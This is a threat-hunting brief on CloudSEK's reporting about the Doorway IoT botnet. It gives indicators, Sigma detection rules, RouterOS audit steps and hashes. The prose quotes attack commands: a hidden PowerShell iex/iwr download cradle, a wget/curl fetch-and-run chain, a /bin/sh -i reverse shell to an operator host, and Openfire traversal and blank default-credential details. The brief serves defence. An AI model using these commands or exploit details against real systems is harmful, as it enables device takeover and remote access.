Doorway Botnet Walks Into MikroTik Routers With Blank Passwords

A botnet CloudSEK calls Doorway compromised 11,363 routers, cameras and other devices in a month by trying blank and default passwords and old, well-known bugs, the security firm says in new research. Its Rust-based scanner logged 7,369 successful logins to MikroTik routers alone, then pulled in Jenkins, Openfire, Tomcat and ActiveMQ servers. CloudSEK hasn’t tied it to any known group.

45.90.13[.]169 (payload server: 80, 2121 FTP, 69 TFTP, 8080)
45.90.13[.]11 (NFS /srv/nfs)
45.205.1[.]9 (ICMP beacon, reverse shell :4444)
176.98.182[.]21, 184.174.96[.]216, 66.151.33[.]14:7444
16.5.0[.]224 to 16.5.0[.]228 (scan/login source pool)
fd6[.]eu, 19z[.]in

Source article: The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign
Publisher: CloudSEK, authors Lakshya Dubey and Ayush Panwar
Published: October 28, 2026
URL: https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks

Executive Summary

Doorway is CloudSEK’s name for an unattributed botnet operation (its Sigma rules also call it the “IOT Arsenal” campaign; no other vendor alias has been published) built around a Rust scanning and delivery engine, also named doorway. Between September 19 and October 19, 2026, CloudSEK counted 11,363 device joins and 58,920 second-stage downloads, including 7,369 successful RouterOS logins across 4,923 device identities, 20 Jenkins hosts with confirmed code execution, 16 Openfire plugin uploads, 18 ZBT/MoreQuick routers compromised by a module called DARKLANTERN, and 1,060 PPPoE subscriber records from a single ISP. The intrusion chain runs: banner probe of internet-facing services with the hard-coded User-Agent Hello World and a honeypot filter; authentication with blank or default credentials (34 pairs, ranked by success) from a rotating pool at 16.5.0[.]224 to 16.5.0[.]228; exploitation of CVE-2023-30799 on MikroTik RouterOS, CVE-2023-32315 on Openfire and service-specific modules for Jenkins, Tomcat and ActiveMQ; a small dropper or Java/PowerShell stage that fetches a per-architecture client from 45.90.13[.]169 (or 151.243.11[.]210 in older builds) over HTTP, FTP, TFTP, NFS or raw TCP; and on routers, a MIPS stage2.so that sends an ICMP beacon to 45.205.1[.]9 as proof of execution and opens /bin/sh -i back to 45.205.1[.]9:4444. CloudSEK could not establish the actor, the client’s tasking protocol or how the botnet is monetized, and found no clear persistence beyond changed RouterOS management ports and files written into RouterOS system paths. The impact is a large pool of hijacked network edge devices and servers that gives the operator interactive access and a platform for further attacks. Hunt leads, false-positive expectations, the four Sigma rules CloudSEK published and the SHA-256 hashes are detailed below.

ATT&CK chain: Reconnaissance → Credential Access → Initial Access → Execution → Command and Control

Hunt Lead Grid

Egress to Doorway Delivery and Beacon Infrastructure

Every Doorway client is fetched from the operator’s file server and every router payload proves it ran by pinging a beacon host. CloudSEK lists 45.90.13[.]169 as the payload server (HTTP 80, FTP 2121, TFTP 69, raw TCP, and a Java payload on 8080 gated by a JVM User-Agent), 45.90.13[.]11 as an NFS export at /srv/nfs, 45.205.1[.]9 as the ICMP beacon receiver and reverse-shell listener on TCP 4444 (stage2.so runs /bin/sh -i to it), 176.98.182[.]21 as a secondary beacon, 184.174.96[.]216 as a probe host, 66.151.33[.]14:7444 as a management endpoint, worker hosts 151.243.11[.]240 to 151.243.11[.]242, retired hosts 151.243.11[.]210 and 46.246.97[.]179, and the short domains fd6[.]eu and 19z[.]in used for character-limited command injection. The detection logic is a retrospective and ongoing match of outbound connections, including ICMP echo, from IoT, CPE, camera and server networks to these destinations, with highest severity for ICMP to 45.205.1[.]9 or TCP 4444 to it, which CloudSEK treats as proof of execution.

Use firewall, NetFlow and DNS logs at the network edge, since most affected devices cannot run an agent. Sweep back to at least September 19, 2026, the start of CloudSEK’s window, and further if retention allows because the retired hosts point to earlier activity. Scope to device VLANs, ISP-managed CPE and internet-facing Java servers. Blocking the listed IPs is reasonable, but do not rely on it, since the operator rotates workers and keeps a source pool; the beacon pattern and per-architecture download paths are more durable. Any device or server with a hit should be treated as compromised and rebuilt or reflashed, not just blocked, because the reverse shell gives the operator interactive control. The rule below is CloudSEK’s published Sigma rule, reproduced exactly as published so it works as-is.

title: Embedded Device Contacts Doorway Delivery or Beacon Infrastructure
id: 8b2f4c1e-7a91-4d3e-9f52-1c6d0a7b4e21
status: experimental
description: >
  Detects egress from IoT, CPE, or server networks to the payload fileserver,
  NFS export, probe host, or ICMP beacon receiver associated with the IOT
  Arsenal doorway campaign. The beacon is the operator's execution proof and
  has no legitimate business use.
logsource:
  category: network_connection
detection:
  selection_dst:
    DestinationIp:
      - '45.90.13.169'
      - '45.90.13.11'
      - '45.205.1.9'
      - '176.98.182.21'
      - '184.174.96.216'
  condition: selection_dst
falsepositives:
  - Unlikely; these addresses are campaign-specific
level: critical
tags:
  - attack.command_and_control
  - attack.t1105

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Command and Control → T1105 (Ingress Tool Transfer) (mapping per source article), T1095 (Non-Application Layer Protocol) (ICMP beacon; our mapping)

Sources: “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK, Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article)

Hello World User-Agent Banner Probe

Before attacking, the Doorway engine sends a banner probe to every target: GET / with User-Agent: Hello World and Connection: close, a string CloudSEK found hard-coded in src/net/transport.rs and reused for every module. A honeypot gate in runner.rs then drops targets that return more than 12 distinct fingerprints or more than 10 Server: headers, so the probe is the first and most consistent trace the campaign leaves on a real service. The detection logic is a web-server and reverse-proxy log search for that exact method, path and User-Agent, followed by a check of whether the same source then sent authentication or exploit traffic.

Search access logs of internet-facing web servers, device management pages exposed through port forwards, and WAF or load-balancer logs, going back to September 2026. A probe alone means the service was fingerprinted, not compromised, so treat hits as a prioritization signal: confirm the targeted service is patched and not using default credentials, and run the infrastructure and audit leads against it. Do not block the string at the WAF as your only control; it is trivially changed in the next build. The probe source addresses are also worth adding to the credential-abuse correlation below. The rule below is CloudSEK’s published Sigma rule, reproduced as published (including a stray blank line in the description).

title: IoT Scanner Banner Request With Hello World User-Agent
id: 3c7d9a54-2e18-4b6f-a0d1-5f8e2c9b7a43
status: experimental
description: >

  Detects the doorway banner probe: GET / with User-Agent "Hello World" and
  Connection close. The string is hard-coded in the engine's transport layer
  and reused for every target and every family.
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'GET'
    cs-uri-stem: '/'
    cs-useragent: 'Hello World'
  condition: selection
falsepositives:
  - Custom health checks using the same placeholder string (rare)
level: high
tags:
  - attack.reconnaissance
  - attack.t1595

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Reconnaissance → T1595 (Active Scanning) (mapping per source article)

Sources: “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK, Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article)

RouterOS FOISted Artifact and Account Audit

Doorway’s MikroTik module (sw/exploit_mips3.py) logs in to WebFig as admin with an empty password, submits super-admin data, then uses a second session to abuse CVE-2023-30799 and write stage2.so, by default to /flash/rw/disk/stage2.so; other scripts use /tool fetch to pull the same file from 45.90.13[.]169. CloudSEK lists RouterOS 6.45.9, 6.47.4, 6.47.7, 6.47.9, 6.48.4 and 6.48.6 among the targeted builds. Path-traversal scripts (trav.sh, devbd.sh) also test a devel account with an empty password and write to ../../nova/etc/devel-login and ../../../pckg/option, and other scripts change the Winbox and web management ports. The detection is a configuration and file audit of every RouterOS device: look for stage2.so anywhere in the file list, an admin account with a blank password, any unexpected user (especially devel), files at the two traversal destinations, a SOCKS service on port 1080, unexplained management-port changes and access to PPPoE secrets.

Run it through your device-management platform, RouterOS exports (/export, /user print, /file print, /ip service print) or a configuration-backup diff, across ISP-managed CPE and branch routers alike. Compare against the last known-good backup from before September 19, 2026. The FOISted bug needs an admin login, so the real root cause on every hit is the blank or default password and an internet-reachable management interface; fix those as well as upgrading. Where any of the payload artifacts is present, assume the device ran an interactive shell and reflash it from trusted firmware rather than deleting files, then rotate the PPPoE and admin credentials it held. The audit generalizes to any RouterOS botnet, of which there have been many.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Initial Access → T1078.001 (Valid Accounts: Default Accounts), T1190 (Exploit Public-Facing Application)

Sources: “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK, Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article)

Openfire Setup Traversal to Plugin Upload

Against Openfire, Doorway uses CVE-2023-32315: a raw %u002e traversal through the unauthenticated setup path (/setup/setup-s/) reaches the admin console, and plugin-admin.jsp is used to upload a malicious plugin, ofvalid.jar. CloudSEK counted 16 uploads across 20 non-lab targets. Once loaded, the plugin sends ICMP beacons to 45.205.1[.]9 and downloads hxxp://45.90.13[.]169:8080/2mqz7.<token>, saving it to /var/tmp/.d on Linux or %TEMP%\d.exe on Windows (with a fallback to the plugin directory). The detection logic is a web-log rule requiring both the traversal pattern and the plugin admin endpoint in requests to the Openfire console, joined with a file check for new or unknown JARs in Openfire’s plugins directory and for /var/tmp/.d or %TEMP%\d.exe.

Use Openfire’s own access logs or a reverse proxy in front of the admin console (ports 9090/9091), plus EDR or file-integrity monitoring on the server. Sweep at least 90 days, since this bug has been in CISA’s KEV catalog since 2023 and has been used by many actors. Expect matches from vulnerability scanners; allowlist your own scanning sources by IP, and keep any hit that is followed by a plugin upload or a new file at the listed paths. The right control is upgrading Openfire (4.6.8, 4.7.5 or later) and taking the admin console off the internet; blocking the string at the WAF without patching just invites encoding variants. A confirmed plugin upload means code execution as the Openfire service account: isolate and rebuild. The rule below is CloudSEK’s published Sigma rule, reproduced as published.

title: Openfire CVE-2023-32315 Traversal and Plugin Upload
id: 6a1e0f93-4b27-4c85-8d19-2e7f3a5c8b60
status: experimental
description: >
  Detects the raw %u002e traversal path used to reach the Openfire plugin
  admin endpoint before uploading the ofvalid JAR.
logsource:
  category: webserver
detection:
  selection_traversal:
    cs-uri-stem|contains:
      - '/setup/setup-s/'
      - '%u002e'
  selection_plugin:
    cs-uri-stem|contains: 'plugin-admin.jsp'
  condition: selection_traversal and selection_plugin
falsepositives:
  - Vulnerability scanners replaying the public proof of concept
level: critical
tags:
  - attack.initial_access
  - attack.t1190

Hunt Lead Level: 2 (Pro)

ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application) (mapping per source article)

Sources: “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK, Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article)

ActiveMQ Java Process Spawning a Shell

Doorway’s ActiveMQ stage uses malicious Spring XML files (wtg83.xml, wtg83w.xml, wq3a7*.xml) that make the broker’s Java process run commands through ProcessBuilder. On Linux, wtg83.xml runs /bin/sh -c to download a script with wget, then curl, then busybox wget, saves it as /tmp/a, marks it executable and runs it; that script fetches /wtg83.x86, /wtg83.a64, /wtg83.arm7, /wtg83.arm5, /wtg83.mpsl or /wtg83.mips. On Windows, wtg83w.xml runs cmd.exe /c powershell -nop -w hidden -c "iex(iwr hxxp://151.243.11[.]210/wtg83.ps1 -UseBasicParsing).Content", which runs the stage in memory and downloads wtg83.win64.exe or wtg83.win32.exe. The detection logic is a process-creation rule for a Java parent whose command line contains activemq spawning sh, bash, busybox, cmd.exe or powershell.exe, with raised severity when the child command line contains a download utility, /tmp/a, iwr or iex.

Use EDR process telemetry or auditd on ActiveMQ brokers, and scope to brokers reachable from untrusted networks first. Sweep 90 days. Some broker wrappers legitimately invoke a shell at start-up; exclude those by the exact script path and parent command line, never by excluding the Java process entirely. Hash-blocking the wtg83 files catches only this build; the parent-child pattern catches any ProcessBuilder abuse of the broker, which is why it generalizes beyond this campaign. Note that CloudSEK’s rule title references CVE-2023-46604 as a style, but the report does not confirm which ActiveMQ flaw Doorway uses, so patch ActiveMQ fully rather than for one CVE. A hit with a download in the child command line is a compromise: isolate the broker. The rule below is CloudSEK’s published Sigma rule, reproduced as published (it carries no id, status or ATT&CK tags).

title: ActiveMQ Java Spawning Shell (CVE-2023-46604 style)
logsource:
  category: process_creation
detection:
  parent:
    ParentImage|endswith: ['/java', '\java.exe']
    ParentCommandLine|contains: 'activemq'
  child:
    Image|endswith: ['/sh', '/bash', '/busybox', '\cmd.exe', '\powershell.exe']
  condition: parent and child
level: high

Hunt Lead Level: 2 (Pro)

ATT&CK: Execution → T1059.004 (Command and Scripting Interpreter: Unix Shell), T1059.001 (Command and Scripting Interpreter: PowerShell) (our mapping; the source rule has no tags); Command and Control → T1105 (Ingress Tool Transfer)

Sources: “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK, Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article)

Default-Credential Login Followed by Payload Fetch

Doorway’s success rests on credentials, not exploits: the engine tries 34 default pairs (including admin with a blank password and devel with a blank password), records which worked on how many devices, rotates its source address per login across 16.5.0[.]224 to 16.5.0[.]228, and follows a successful login with a stage-0 fetch that falls back through nc, wget, curl, TFTP, FTP, raw TCP and an NFS mount, or a printf dropper that writes chunks to /tmp/d. Payload URLs may carry an ?s= parameter with a 16-hex-character HMAC bound to the target IP. The detection logic is a sequence correlation: a successful login to a device’s management interface (WebFig, Winbox, SSH, Telnet, camera web UI) from a source outside your management networks, using a default or blank-password account, followed within roughly 10 minutes by that device opening an outbound HTTP, FTP (including port 2121), TFTP or NFS connection to a destination it has never contacted before, optionally with an ICMP echo to a new external host.

This needs device authentication logs (RouterOS logging to syslog, camera or CPE syslog, RADIUS or TACACS where used) joined with firewall or NetFlow records in a SIEM, plus a per-device baseline of normal outbound destinations such as update and NTP servers. Build the baseline over 30 days and sweep back to September 2026. Many consumer and ISP devices cannot send login logs; for those, fall back to the network half of the sequence and the infrastructure lead. Rate-limiting logins from the six-address pool helps, but the operator can change the pool, so the login-then-fetch sequence is the durable signal. Any hit should be treated as a compromised device: isolate the segment, reflash from trusted firmware, and change every credential on that device. The correlation generalizes to almost every IoT botnet that relies on default passwords.

Hunt Lead Level: 3 (Elite)

ATT&CK: Credential Access → T1110.001 (Brute Force: Password Guessing); Initial Access → T1078.001 (Valid Accounts: Default Accounts); Command and Control → T1105 (Ingress Tool Transfer)

Sources: “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK, Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article)

Hash Appendix

Doorway stage files (router payload, Openfire plugin, ActiveMQ chain)

All hashes are SHA-256 from the source article, which says stage2.so and ofvalid.jar are identical across both operator mirrors. The source publishes no MD5 or SHA-1 values; AlienVault OTX and VirusTotal were not queried in this run. Per-architecture client builds (wtg83.x86 and others, of-*, ang23.*) were named but not hashed.

MD5s
(not available)  # stage2.so -> /flash/rw/disk/stage2.so (RouterOS, MIPS32 ELF shared object)
(not available)  # ofvalid.jar -> Openfire plugins directory
(not available)  # wtg83 (Linux stage-1 fetcher) -> /tmp/a
(not available)  # wtg83.ps1 (Windows stage-1, runs in memory)
(not available)  # wtg83w.xml (ActiveMQ Spring XML, Windows)
(not available)  # wtg83.xml (ActiveMQ Spring XML, Linux)

SHA1s
(not available)  # stage2.so
(not available)  # ofvalid.jar
(not available)  # wtg83
(not available)  # wtg83.ps1
(not available)  # wtg83w.xml
(not available)  # wtg83.xml

SHA256s
73f67931bb28b97da3311ee5ab2babea06de82c13fec10a8298b5902e88c459f  # stage2.so -> /flash/rw/disk/stage2.so (ICMP beacon + /bin/sh -i to 45.205.1[.]9:4444)
1fc4d07f44b576cfa77092c143d432cb089ce10ed38ac7559e77ae6b4c85b509  # ofvalid.jar -> Openfire plugin uploaded via plugin-admin.jsp
f1292b5d6dd752d51bfe6bdf03f6244ac50e0fb0876e5d4e061d11c191cb5503  # wtg83 -> /tmp/a (Linux fetcher for wtg83. clients)
f4e650447e879edcb7ae9b70b1a7168834414f868e924eb56358711565e07ed0  # wtg83.ps1 (in-memory PowerShell stage, fetches wtg83.win64/win32.exe)
e07a71c229952c52008fc52dd5beb06e2e299f8d51d84ac08a5acb57f29480fd  # wtg83w.xml (ActiveMQ Spring XML, Windows ProcessBuilder chain)
4f3bac31caf103ec8fcf47f979ce94bc35b0d295d43ebebb602e85033b2986a8  # wtg83.xml (ActiveMQ Spring XML, Linux ProcessBuilder chain)

References Appendix

• “The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign”, CloudSEK (Lakshya Dubey, Ayush Panwar), Oct. 28, 2026, https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks (source article; infrastructure, delivery chain, Sigma rules, hashes)
• MITRE ATT&CK Enterprise technique pages linked above, MITRE, https://attack.mitre.org/